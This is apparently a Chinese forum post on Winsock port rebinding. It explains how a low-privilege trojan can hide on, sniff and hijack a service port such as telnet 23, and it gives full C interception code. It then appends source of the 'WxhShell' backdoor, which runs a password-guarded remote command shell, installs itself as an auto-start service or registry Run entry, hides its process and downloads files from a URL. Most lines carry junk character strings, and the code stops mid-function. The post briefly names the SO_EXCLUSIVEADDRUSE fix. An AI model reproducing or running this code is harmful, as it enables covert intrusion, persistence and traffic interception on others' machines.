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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |e#ea~/b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \JX.)&> -  
I_/kJ#7vj  
  saddr.sin_family = AF_INET; 3[E)/~-  
//\UthOT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &:ib>EB03=  
3kl\W[`?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \hcb~>=C  
;}=[( eqA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nq3q##Ut:  
V3]"ROH  
  这意味着什么?意味着可以进行如下的攻击: C)Ez>~Z  
?[K \X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ND|!U#wMNV  
DTw3$:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3%$nRP X  
0W1=9+c|X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |( =`l  
.5PcprE/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ixFuqPij  
&bO0Rn1F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xo46L\  
38hAg uZX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Im\{b=vT  
MxXu&.| _  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @'yD(ZMAz  
Y=#g_(4*  
  #include 4LBMhLy  
  #include '[h|f  
  #include X)K3X:~L+  
  #include    :"aCl~cy9g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f/:XIG  
  int main() =Qcz:ng  
  { {t;{={$  
  WORD wVersionRequested; 4Fr\=TX  
  DWORD ret; fem>WPvG  
  WSADATA wsaData; ~Z'3(n*9  
  BOOL val; ^dzg'6M  
  SOCKADDR_IN saddr; K8l|qe  
  SOCKADDR_IN scaddr; U_UX *  
  int err; . d;XLS~  
  SOCKET s; \HzI*|*A  
  SOCKET sc; fi2@`37PM  
  int caddsize; <R.5 Ma  
  HANDLE mt; N:y3tpG  
  DWORD tid;   6BJPQdqSl  
  wVersionRequested = MAKEWORD( 2, 2 ); LI&+5`  
  err = WSAStartup( wVersionRequested, &wsaData ); o!3-=<^  
  if ( err != 0 ) { YAIDSZ&l[  
  printf("error!WSAStartup failed!\n"); :(|;J<R%_  
  return -1; Ba\l`$%X  
  } T`;>Kq:s  
  saddr.sin_family = AF_INET; s9wc ZO  
   @Ee'nP   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hoc$aqP6pp  
<Cvlz^K[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )k.[Ve  
  saddr.sin_port = htons(23); tBp146`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \wxS~T<&L  
  { DFz,>DM;  
  printf("error!socket failed!\n"); oXc!JZ^  
  return -1; L//Z\xr|  
  } n0T\dc~  
  val = TRUE; u(7PtmV[!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @}K'Ic  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) McgTTM;E  
  { t&SC>8M<  
  printf("error!setsockopt failed!\n"); l)glT]G3+  
  return -1; t]~L o3  
  } T<|B1jA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >5&'_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (I d]'w4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 af61!?K  
3hOiHO ;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DHO6&8S  
  { jB*%nB*x  
  ret=GetLastError(); ZkW,  
  printf("error!bind failed!\n"); a{7>7%[  
  return -1; bUf2uWy7  
  } [<Wo7G1s  
  listen(s,2); lCDu,r;\  
  while(1) /HsJyp+t  
  { *7C t#GC  
  caddsize = sizeof(scaddr); %pNK ?M+  
  //接受连接请求 -v4kW0G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a W`q  
  if(sc!=INVALID_SOCKET) ngprTMO$&  
  { ,%#FK|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ji_3*(  
  if(mt==NULL) 3[E3]]OVa  
  { 1nb]~{l  
  printf("Thread Creat Failed!\n"); l@a>"\><i*  
  break; :=BFx"Y  
  } 9Xt5{\PJ  
  } ErK5iTSD  
  CloseHandle(mt); -aDGXQM{~  
  } /vi>@a  
  closesocket(s); m]8rljo  
  WSACleanup(); 4tR:O#($V  
  return 0; $9DV }  
  }   sv0) sL  
  DWORD WINAPI ClientThread(LPVOID lpParam) wR\Y+Z   
  { Kv'2^B  
  SOCKET ss = (SOCKET)lpParam; CA)DQYp{  
  SOCKET sc; "P<IQx  
  unsigned char buf[4096]; gnW `|-:\  
  SOCKADDR_IN saddr; wfQ 6J0  
  long num; D9M<>Xz)  
  DWORD val; #5xK&qA  
  DWORD ret; Y]aVa2!Wb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MzRws f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7t7"glP  
  saddr.sin_family = AF_INET; )UA};Fus  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k/A8 |  
  saddr.sin_port = htons(23); 4k5X'&Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _jOu`1w  
  { Ah,X?0+  
  printf("error!socket failed!\n"); GsG.9nd  
  return -1; !rzbm&@  
  } )-q#hY  
  val = 100; dd#=_xe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \jDD=ew  
  { ufE;rcYE  
  ret = GetLastError(); XBE+O7  
  return -1; A*jU&3#  
  } j:# wt70  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `9BZ))Pg  
  { V9*Z  
  ret = GetLastError(); VMPBM:k G  
  return -1; nFU'DZ  
  } p< i;@H;:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @:\Iw"P  
  { W 86`R  
  printf("error!socket connect failed!\n"); Tf/jd 3>  
  closesocket(sc); &<}vs`W  
  closesocket(ss); F+mn d,3  
  return -1; hI.@!$~=  
  } +;uP) "Q/L  
  while(1) e^)+bmh  
  { N t]YhO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q}[g/%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W($}G_j[B1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *Y"Kbn 6  
  num = recv(ss,buf,4096,0); dWbSrl  
  if(num>0) eg Ml(~D  
  send(sc,buf,num,0); RKoM49W  
  else if(num==0) `)Z"||8K  
  break;  J jRz<T;  
  num = recv(sc,buf,4096,0); fYrC;&n  
  if(num>0) e 4-  
  send(ss,buf,num,0); u~WBu|  
  else if(num==0) *->2$uWP  
  break; &)[?D<  
  } N>kY$*  
  closesocket(ss); 1h uU7xuf  
  closesocket(sc); 0 @]gW  
  return 0 ; S B2R  
  } Fk(nf9M%  
\1Tu P}P  
KY5it9e  
========================================================== `@%hz%8Y  
G?`{OW3:_  
下边附上一个代码,,WXhSHELL  -D*,*L  
= F*SAz  
========================================================== WWf#in  
}LK +w+h~  
#include "stdafx.h" nn[OC=cDN  
?=zF]J:G1w  
#include <stdio.h> ]-ad\PI$  
#include <string.h> c>I(6$  
#include <windows.h> %d-|C.  
#include <winsock2.h> D6X0(pU0  
#include <winsvc.h> Cngi5._Lb  
#include <urlmon.h> PkM]jbLe8  
.[mI9dc  
#pragma comment (lib, "Ws2_32.lib") ?8AV-rRX  
#pragma comment (lib, "urlmon.lib") v@m2c_,  
t&5N{C:  
#define MAX_USER   100 // 最大客户端连接数 O5X@'.#rU  
#define BUF_SOCK   200 // sock buffer in}d(%3h  
#define KEY_BUFF   255 // 输入 buffer ?|4Y(0N  
%gBulvg  
#define REBOOT     0   // 重启 w[ )97d  
#define SHUTDOWN   1   // 关机 ,#n$YT7  
N@}5Fnk-  
#define DEF_PORT   5000 // 监听端口 90g=&O5@O  
1eod;^AP9  
#define REG_LEN     16   // 注册表键长度 XT2:XWI8  
#define SVC_LEN     80   // NT服务名长度 &+0WZ#VI  
Tvp~~Dk  
// 从dll定义API }6S~"<Ym  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2bIP.M2Fs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bhk:Szqz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d\eTyN'rA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t UOqF  
a-[:RJW  
// wxhshell配置信息 !*I0}I ~  
struct WSCFG { )gNS%t c*K  
  int ws_port;         // 监听端口 tW$Di*h  
  char ws_passstr[REG_LEN]; // 口令 d WKjVf  
  int ws_autoins;       // 安装标记, 1=yes 0=no wE*o1.  
  char ws_regname[REG_LEN]; // 注册表键名 9):h %o  
  char ws_svcname[REG_LEN]; // 服务名 oU|yBs1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :8( "n1^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JSp V2c5Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J}zN]|bz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \S5YS2,P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W20qn>{z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z5njblUz  
KOv?p@d  
}; _P].Z8  
IA6,P>}N  
// default Wxhshell configuration qoZUX3{  
struct WSCFG wscfg={DEF_PORT, +"yt/9AO  
    "xuhuanlingzhe", $3yzB9\a"  
    1, %imI.6   
    "Wxhshell", ve3-GWT{C  
    "Wxhshell", tBB\^xq:  
            "WxhShell Service", `8x.Mv  
    "Wrsky Windows CmdShell Service", -F->l5  
    "Please Input Your Password: ", cc0e(\  
  1, v35!? 5{  
  "http://www.wrsky.com/wxhshell.exe", %[l#S*)~  
  "Wxhshell.exe" :,8eM{.Q  
    }; E]MyP=g$  
K^6fg,&  
// 消息定义模块 r &.gOC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]K<mkUpY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xi  8rD"v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PR+L6DT_  
char *msg_ws_ext="\n\rExit."; pw, <0UhV  
char *msg_ws_end="\n\rQuit."; :Vnus @#r  
char *msg_ws_boot="\n\rReboot..."; T[(4z@d`5  
char *msg_ws_poff="\n\rShutdown..."; :qAF}|6  
char *msg_ws_down="\n\rSave to "; f.e4 C,  
sjW;Nsp  
char *msg_ws_err="\n\rErr!"; sUe<21:  
char *msg_ws_ok="\n\rOK!"; Jf</83RZ  
j&y>?Y&Sb  
char ExeFile[MAX_PATH]; }L|cg2y  
int nUser = 0; 7g%.:H =  
HANDLE handles[MAX_USER]; ^U;r>[T9h  
int OsIsNt; h.t2;O,b  
35}]U=  
SERVICE_STATUS       serviceStatus; ZHN}:W/p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -~+Y0\%E  
?S2!'L  
// 函数声明 M/x*d4b_  
int Install(void); QnMN8Q9  
int Uninstall(void);  b^dBX  
int DownloadFile(char *sURL, SOCKET wsh); 9zKbzT]  
int Boot(int flag); =5 kTzH.  
void HideProc(void); sry`EkS  
int GetOsVer(void); Om,M8!E  
int Wxhshell(SOCKET wsl); 5^0K5R6GQf  
void TalkWithClient(void *cs); #J w\pOn  
int CmdShell(SOCKET sock); (X|`|Y  
int StartFromService(void); S(NUuu}S  
int StartWxhshell(LPSTR lpCmdLine); VT:m!<^  
%YLyh?J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u.!<)VIJx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8]2j*e0xV  
^`f( Pg!  
// 数据结构和表定义 d@QC[$qXj  
SERVICE_TABLE_ENTRY DispatchTable[] = |]=s  
{ ,\CG}-v@CN  
{wscfg.ws_svcname, NTServiceMain}, @\)a&p]a  
{NULL, NULL} }'c@E0"  
}; z@tIC^s  
g@s'-8}X^  
// 自我安装 ,/1[(^e  
int Install(void) ".|?A9m_  
{  XKEbK\  
  char svExeFile[MAX_PATH]; @7z_f!'u  
  HKEY key; w=}R'O;k  
  strcpy(svExeFile,ExeFile); PvkHlb^x%  
4+2hj*I  
// 如果是win9x系统,修改注册表设为自启动  Z5[f  
if(!OsIsNt) { %:=Jr#a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S!{Kn ;@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tLc~]G*\`s  
  RegCloseKey(key); WEZ)>[Xj?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DcmRb/AP*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 48W-Tf6v|  
  RegCloseKey(key); 5#}wI~U;  
  return 0; > Du>vlT Y  
    } 'i7!"Y6>  
  } \!Fx,#r$7-  
} c&>==pI]k  
else { >XomjU[srQ  
V+MhS3VD  
// 如果是NT以上系统,安装为系统服务 ZNjqH[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f<K7m  
if (schSCManager!=0) j87IxB?o  
{ 1v"r8=Wt  
  SC_HANDLE schService = CreateService M\w%c5  
  ( R3!3TJ  
  schSCManager, &-B&s.,kj  
  wscfg.ws_svcname, Q!(qL[o  
  wscfg.ws_svcdisp, (.J8Q  
  SERVICE_ALL_ACCESS, m=e#1Hs   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z<Y >phc  
  SERVICE_AUTO_START, >^V3Z{;  
  SERVICE_ERROR_NORMAL, *=~X1s  
  svExeFile, lBcRt)_O7  
  NULL, qcdENIy0b  
  NULL, lk. ;  
  NULL, }rbsarG@  
  NULL, 1Yb9ILX[J  
  NULL BdYl sYp  
  ); > qDHb'  
  if (schService!=0) h6Q-+_5  
  { eK_Yt~dj  
  CloseServiceHandle(schService); p}{V%!`_  
  CloseServiceHandle(schSCManager); _3{,nhkf:!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -mPrmapb3  
  strcat(svExeFile,wscfg.ws_svcname); /`YbHYNF[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %m0x]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 69tT'U3vb$  
  RegCloseKey(key); 7J$5dFV2  
  return 0; wG2-,\:  
    } 0Q= o"@  
  } GK.U_`4?  
  CloseServiceHandle(schSCManager); 8~s-@3J  
} MI<XLn!*  
} B$kp\yL  
k w]m7 T  
return 1; M~ ^ {S[o  
} ZPolE_P7  
Qx%]u8s  
// 自我卸载 4t;m^Iv  
int Uninstall(void) d;c<" +  
{ k3FpD=N  
  HKEY key; x[i Et%_  
g bc])`aJ>  
if(!OsIsNt) { VtJy0OGcRP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T.j&UEsd  
  RegDeleteValue(key,wscfg.ws_regname); g0~3;y  
  RegCloseKey(key); }^/;8cfLY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `9yR,Xk=l  
  RegDeleteValue(key,wscfg.ws_regname); \ mt> R[  
  RegCloseKey(key); X/!37  
  return 0; H@R2mw  
  } fpK`  
} =P"Sm r  
} NA`EG,2  
else { xK8R![x  
S3(2.c~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [va7+=[1=  
if (schSCManager!=0) t<Z)D0.  
{ \p&a c&]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }:5>1FfX=  
  if (schService!=0) UIl^s8/  
  { F< #!83*%  
  if(DeleteService(schService)!=0) { mp x/~`c  
  CloseServiceHandle(schService); Q(e3-a  
  CloseServiceHandle(schSCManager); VSI.c`=,  
  return 0; yt-F2Z&  
  } <(%cb.^c=N  
  CloseServiceHandle(schService); ErDt~FH  
  } )5M9Ro7  
  CloseServiceHandle(schSCManager); /`Wd+  
} 9ywPWT[^  
} .+"SDt oX  
T'TxC)  
return 1; s`$px2Gw  
} vs )1Rm  
tt7l%olw  
// 从指定url下载文件 4gNF;  
int DownloadFile(char *sURL, SOCKET wsh) Cq0S8Or0  
{ H@8g 9;+  
  HRESULT hr; UkY `&&ic  
char seps[]= "/"; &xwAE*}  
char *token; =k(~PB^>  
char *file; W2a9P_  
char myURL[MAX_PATH]; XU}sbbwu  
char myFILE[MAX_PATH]; ]GS@ub  
.2jG~_W[  
strcpy(myURL,sURL); pSq3\#Twr  
  token=strtok(myURL,seps); )n[ oP%  
  while(token!=NULL) GAlAFsB  
  { N!e?K=}tL  
    file=token; Dl#%tYL+3h  
  token=strtok(NULL,seps); Odo"S;)  
  } -;?5<>zZ  
w]{NaNIeq1  
GetCurrentDirectory(MAX_PATH,myFILE); }0({c~z\  
strcat(myFILE, "\\"); ]bq<vI%  
strcat(myFILE, file); 8'2lc  
  send(wsh,myFILE,strlen(myFILE),0); PG1#Z?_  
send(wsh,"...",3,0); s)e; c<(/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3-Q*umh  
  if(hr==S_OK) BlV k?n  
return 0; ?6bk&"T?  
else 'CH|w~E  
return 1; ;NrkX?Y  
_faI*OY8  
} V^t5 Y+7  
s1!_zf_  
// 系统电源模块 @ P=eu3  
int Boot(int flag) ezt_ct/Z  
{ #@m*yJg<  
  HANDLE hToken; d`| W6Do  
  TOKEN_PRIVILEGES tkp; %KeQp W  
 +McKyEa  
  if(OsIsNt) { 1 D fB9n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $FgpFxz;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .bOueB-  
    tkp.PrivilegeCount = 1; }[u9vZL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dJ#. m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !Cj1:P  
if(flag==REBOOT) { :zC'jceO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m<BL/ 7  
  return 0; ,uD>.->  
} 2&W(@wT$  
else { -ANp88a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yiUJ!m  
  return 0; j~G^J  
} vO1P%)  
  } E5lC'@Dcz  
  else { #;RP ?s  
if(flag==REBOOT) { Q~4o{"3.'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !}()mrIlP  
  return 0; Z;@F.r  
} : 5@cj j  
else { _9Kdcoh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hnM|=[wM  
  return 0; ^c1I'9(r5  
} <ZJ>jZV0*  
} i&^?p|eKa  
G:.Nq,513  
return 1; kNW&rg  
} t%Z_*mIfmE  
??rx\*,C</  
// win9x进程隐藏模块 ,z)7rU`  
void HideProc(void) @T1/S&F=  
{ i\B >J?Q\  
lC6#EU;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kbc-$ oneR  
  if ( hKernel != NULL ) YE5v~2  
  { sHe:h XG'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '?Q [.{<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &_&])V)<\S  
    FreeLibrary(hKernel); oJ`ih&Q8  
  } F'Fc)9qFa<  
gv; =Yhw.c  
return; J%xp1/= 2  
} .9 WUp>  
|rf\]3 F  
// 获取操作系统版本 gtz!T2%  
int GetOsVer(void) hX=+%^c%_A  
{ qJW>Y}  
  OSVERSIONINFO winfo; B[-%A!3 F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )F<<M+q=  
  GetVersionEx(&winfo); g?(Z+w4A 3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5JI+42S \  
  return 1; BoP%f '0N  
  else SV]M]CAe  
  return 0; _3T*[s;H  
} +=MO6}5T  
neQ2+W%oj  
// 客户端句柄模块 -nO('(t  
int Wxhshell(SOCKET wsl) &I?1(t~hT  
{ 7(~^6Ql!  
  SOCKET wsh; 96vv85g  
  struct sockaddr_in client; 3OFv_<6  
  DWORD myID; 7 .+kcqX  
S'Q$N-Dy  
  while(nUser<MAX_USER) Y_%\kM?7  
{ W #qM$  
  int nSize=sizeof(client); "[H9)aAj7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sb(,w  
  if(wsh==INVALID_SOCKET) return 1; " %|CD"@  
{Y'DUt5j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RgQ\Cs24Q  
if(handles[nUser]==0) Yq/|zTe{  
  closesocket(wsh); QE!cf@~n"  
else |82V` CV  
  nUser++; 8pDJz_F!{  
  } .Rc&EO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [O [ N_z  
d[rxmEXht  
  return 0; lyZof_/*  
} g@nk0lQewj  
+ 7E6U*  
// 关闭 socket WLNkO^zb  
void CloseIt(SOCKET wsh) +zs;>'Sf  
{ <g,k[  
closesocket(wsh); O(/K@e  
nUser--; 1WcT>_$  
ExitThread(0); J~<:yBup}  
} 4pq>R  
vD1jxk'fd  
// 客户端请求句柄 BD=;4SLT  
void TalkWithClient(void *cs) )R ,*  
{ %<DRrKt  
Z#>k:v  
  SOCKET wsh=(SOCKET)cs; f|6%71  
  char pwd[SVC_LEN]; ?ArQ{9c  
  char cmd[KEY_BUFF]; |=38t8Ge&  
char chr[1]; o|alL-  
int i,j; sNX$ =<E  
=q5A@!D  
  while (nUser < MAX_USER) {  G!O D7:  
)KBv[|  
if(wscfg.ws_passstr) { Fw"~f5O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s/sH",  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2HQ'iEu$  
  //ZeroMemory(pwd,KEY_BUFF); ~z|/t^  
      i=0; 3u{[(W}08  
  while(i<SVC_LEN) { f#JLE+0Y  
= "c _<?=[  
  // 设置超时 $am7 xd  
  fd_set FdRead; 4)'5;|pI  
  struct timeval TimeOut; uLhamE)  
  FD_ZERO(&FdRead); (: ZOoL  
  FD_SET(wsh,&FdRead); Q:-H U bB  
  TimeOut.tv_sec=8; >PySd"u  
  TimeOut.tv_usec=0; |.(o4<nx.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |nD2k,S<?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {,s:vPoiA  
'Q(A5zfN]Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fhfdNmtR)I  
  pwd=chr[0]; fU)hn  
  if(chr[0]==0xd || chr[0]==0xa) { mL6/NSSz  
  pwd=0;  & .(ZO]  
  break; e|MyA?`  
  } e>z7?"N  
  i++; \3)%p('  
    } A%+~   
>t*zY~R.  
  // 如果是非法用户,关闭 socket 7qW:^2y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sk;IAp#X9  
} i7fpl  
b>2u>4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V!},a@>p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'd6hQ4Vw4  
k,?Y`s  
while(1) { z=ppNP0  
tvb hWYe  
  ZeroMemory(cmd,KEY_BUFF); *~&W?i  
'a"<uk3DT  
      // 自动支持客户端 telnet标准   ZQ20IY|,  
  j=0; -'q=oTZ  
  while(j<KEY_BUFF) { m"x~Fjvd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %],.?TS2V  
  cmd[j]=chr[0]; z9dVT'  
  if(chr[0]==0xa || chr[0]==0xd) { E>'pMw  
  cmd[j]=0; NoYu"57\  
  break; zo\Xu oZ  
  } &# @1n  
  j++; ?;{A@icr  
    } 4F:RLj9P!  
L</"m[  
  // 下载文件 gXw\_ue<  
  if(strstr(cmd,"http://")) { AQ0L9?   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &S|laq H  
  if(DownloadFile(cmd,wsh)) JHO9d:{-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2d3wQ)2  
  else SxH}/I|W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,#WXAA mm  
  } /pb7  
  else { #Wc)wL-Tg  
bJBx~  
    switch(cmd[0]) { 3`e1:`Hu  
  IRS^F;)  
  // 帮助 }qlz^s  
  case '?': { =e._b 7P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R [uo:.  
    break; ~Kb(`Px@  
  } =G=.THRUk  
  // 安装 s#qq% @  
  case 'i': { :'!?dszS  
    if(Install()) cL1cBWd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7<1Y%|x`  
    else 4]dPhsey  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m CdkYN#  
    break; eq4<   
    } e|4jT7L}  
  // 卸载 hF2 G{{8A  
  case 'r': { =lDmP |^  
    if(Uninstall()) TR%?U/_4;r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YK[O#V  
    else ZcdS?Z2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3G>E>yJ  
    break; ?tSY=DK\n  
    } ;w6\r!O,  
  // 显示 wxhshell 所在路径 u YH{4%  
  case 'p': { $x2<D :  
    char svExeFile[MAX_PATH]; vF([mOZ  
    strcpy(svExeFile,"\n\r"); 0cS.|\ZTA  
      strcat(svExeFile,ExeFile); vMC;5r6*d  
        send(wsh,svExeFile,strlen(svExeFile),0); &=7ur  
    break; ~O^_J)  
    } m=}kGzIY4  
  // 重启 (wA|lK3  
  case 'b': { wvh4AE5F|z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &<>A  
    if(Boot(REBOOT)) ^~Ar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !*\^-uvaK  
    else { 6"=e+V@  
    closesocket(wsh); YInW)My.h  
    ExitThread(0); g@EKJFjl  
    } z&t6,0q`5  
    break; ` 86b  
    } TLV)mCZ  
  // 关机 T!*7G:\f"  
  case 'd': { ev@1+7(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rB7(&(n>^  
    if(Boot(SHUTDOWN)) `iY)3Rq  
